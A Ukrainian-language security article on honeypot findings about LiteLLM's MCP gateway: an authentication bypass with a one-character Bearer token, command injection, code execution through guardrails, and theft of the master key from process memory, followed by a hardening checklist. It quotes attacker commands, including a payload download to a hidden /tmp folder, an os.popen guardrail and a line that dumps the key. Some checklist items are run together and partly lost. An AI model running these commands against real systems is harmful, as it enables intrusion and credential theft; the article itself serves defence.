Як однокарковий токен-носій дозволив проникнути до шлюза MCP LiteLLM
Ханіпоти виявили зловмисників, які зловживали механізмом обхіду автентифікації LiteLLM MCP та помилкою виконання коду guardrails. Ось ланцюжок атак та шестикроковий чек-лист для посилення захисту.
Джерела: A One-Character Bearer Token Was Enough to Break Into LiteLLM’s MCP Gateway
Протягом 90 днів компанія Wiz Research експлуатувала фальшиві сервери, створені на зразок справжніх інструментів штучного інтелекту, зокрема LiteLLM, Flowise, LangChain, Langflow, ChromaDB, Ollama, OpenWebUI та Node-RED, і фіксувала, хто намагався до них достучатися. Справжні зловмисники справді це робили. Основним результатом не став випадок типу „zero-day“. Йшлося про помилку в механізмі обробки помилок протоколу Model Context Protocol (MCP) у LiteLLM, який сприймав рядок „Я не впізнаю цей токен“ як „Цей токен у порядку“. Достатньо було однокарктерного токена типу Bearer, щоб проникнути всередину. LiteLLM — це популярний шлюз, який дозволяє додаткам взаємодіяти з кількома постачальниками моделей через один кінцевий пункт, тому команди, які ним користуються, повинні виділити десять хвилин на цю роботу.
Обхід за допомогою одного символу
Цю проблему відстежують під ідентифікатором CVE-2026-59822. Кінцева точка MCP у LiteLLM призначена для перевірки токена Bearer перед тим, як дозволити доступ до кожного сервера MCP, підключеного до організації, такого як Jira, Slack, внутрішні бази даних та пайплайни CI/CD. У пошкодженій версії коду токен, який не пройшов звичайну перевірку LiteLLM, спричиняв помилку 401, і код фіксував цю помилку, повертаючи порожній об’єкт автентифікації. Порожній об’єкт не означає відмову; це означає автентифікацію під ім’ям „ніхто“, і шар MCP приймав це.
Запит, який надіслали зловмисники, був максимально скороченим, наскільки це можливо:
# this is roughly what attackers were sending
curl -H "Authorization: Bearer a" https://your-litellm-host/v1/models
Якщо у відповіді був заголовок mcp-session-id, сесія була відкритою, існував доступ до кожного інструменту MCP, який міг отримати проксі, але не було жодних дійсних облікових даних. Ханіпоти фіксували прямі спроби атак, і цей CVE потрапив до списку відомих експлуатованих вразливостей CISA.
Сама по собі відкрита сесія MCP вже була серйозною проблемою, але зловмисники поєднали її з іншими методами атак. Wiz задокументував спосіб обходу, який призводив до CVE-2026-42271 — помилки вставки команд у тестових та конфігураційних кінцевих точках MCP, коли спеціально створена конфігурація сервера запускала небезпечні підпроцеси. Схема була простою: реєструвати фальшиву конфігурацію MCP, змусити її завантажувати та запускати криптомайнер, а потім видаляти каталог тимчасового зберігання, щоб звичайний запит ls нічого не показував. Типовий крок завантаження виглядав так:
python3 -c "import urllib.request; urllib.request.urlretrieve(url, '/tmp/.dbus-cache/m.zip')"
Частина цієї діяльності пов’язана з групою зловмисників Qilin ransomware. Звички ухилення від виявлення мають більше значення, ніж номери CVE. Майнери розміщувалися у директорії /tmp/.dbus-cache/, бінарні файли перейменовувалися на назви на кшталт unicorn, а в одній з кампаній носій шкідливого коду розміщувався у директорії /app/data/.claude/ — папці, структура якої імітувала конфігураційну директорію Claude Code, щоб це виглядало як звичайні інструменти, а не ознака вторгнення.
Друга проблема: виконання коду через механізми захисту
У LiteLLM була окрема, не менш серйозна проблема — CVE-2026-59821, у компоненті кастомних правил захисту. Ця функція дозволяє адміністраторам завантажувати фрагменти коду на Python для перевірки надходячих запитів. Кінцева точка завантаження компілювала та виконувала ці фрагменти за допомогою exec(compile(...)), залишаючи об’єкт __builtins__ без змін та дозволяючи будь-які імпорти. Таким чином, адміністраторська сесія або неавтентифікована сесія, як описано далі, могли створити фальшиве правило захисту, наприклад:
import os
_cmd = os.popen('id').read().strip()
і отримувати результат виконання команди назад у поле block-reason пізнішої відповіді. Версія 1.82.0 виправляє цю проблему шляхом забезпечення наявності ролі адміністратора на кінцевих точках guardrail та видалення __builtins__ перед компіляцією. Для старішої версії оновлення є терміновими, адже наступна проблема лише погіршить ситуацію.
Стандартні налаштування, які дозволили це реалізувати
Деталь, яка робить це інцидентом, а не звичайним виправленням: через відсутність налаштованого головного ключа LiteLLM раніше обробляв кожного користувача як PROXY_ADMIN. Це був не лише читальний або обмежений доступ — це був повний адміністративний доступ, включаючи можливості Guardrails. Багато версій програми ніколи не налаштовували ключа. Коли дослідники сканували публічні інстанції, приблизно одна з десяти (9,6% від 3 074) або все ще використовувала стандартний ключ sk-1234, або взагалі нічого не перевіряла. Додайте до цього обхід MCP та баг у роботі Guardrails — і виникало кілька незалежних, простих способів отримати доступ до однієї машини.
Пошук у пам’яті, а не у файлах
Wiz називає наступний етап „AI-native post-exploitation“, і саме та частина, пов’язана з ШІ, була метою атакувачів після отримання шелла. Вони націлювалися на пам’ять запущеного процесу, а не на файли на диску:
python3 -c "import litellm; import litellm.proxy.proxy_server as ps; print('master_key:', getattr(ps, 'master_key', None))"
Цей один рядок зчитує головний ключ проксі безпосередньо з пам’яті, не вдаючись до диска. Потім зловмисники вказували шляхи конфігурації, такі як /app/litellm_config.yaml та ~/.litellm/config.yaml, визначали, які моделі бекенду були підключені, та обирали цілі залежно від того, до чого міг достатися проксі. Такий шлюз є ціннішим, ніж звичайний сервер додатків. Дані від Wiz telemetry показали, що один проксі часто має активні ключі для OpenAI, Anthropic, Azure OpenAI та Gemini одночасно, тож одне зчитування з пам’яті розкриває інформацію про чотирьох постачальників.
Чек-лист замість номерів CVE
- Перевірте версію. LiteLLM 1.84.0 або новіша виправляє проблему обходу MCP, а 1.82.0 або новіша — баг у виконанні захисних механізмів. Якщо ви відстаєте з обома версіями, сплануйте час на оновлення.
sk-1234 або порожнім. Виконайте команду echo $LITELLM_MASTER_KEY та переконайтеся, що це не стандартний значення з посібника, вставлене давно.PROXY_ADMIN. Після застосування патча стандартною роллю стає INTERNAL_USER, але існуючі розгортання не оновлюються автоматично, тому вручну перегляньте призначення ролей.curl чи python3 -c — частіше, ніж у будь-яких журналах доступу.Шлюз на основі ШІ заслуговує на те, щоб ставитися до нього як до справжнього сховища облікових даних, а не як до зручного проксі, встановленого один раз та забутого. Баг у системі автентифікації не був чимось екзотичним — це була ситуація з використанням конструкції try/except, яка приховувала неправильну помилку, і зловмисники вже використали це на практиці.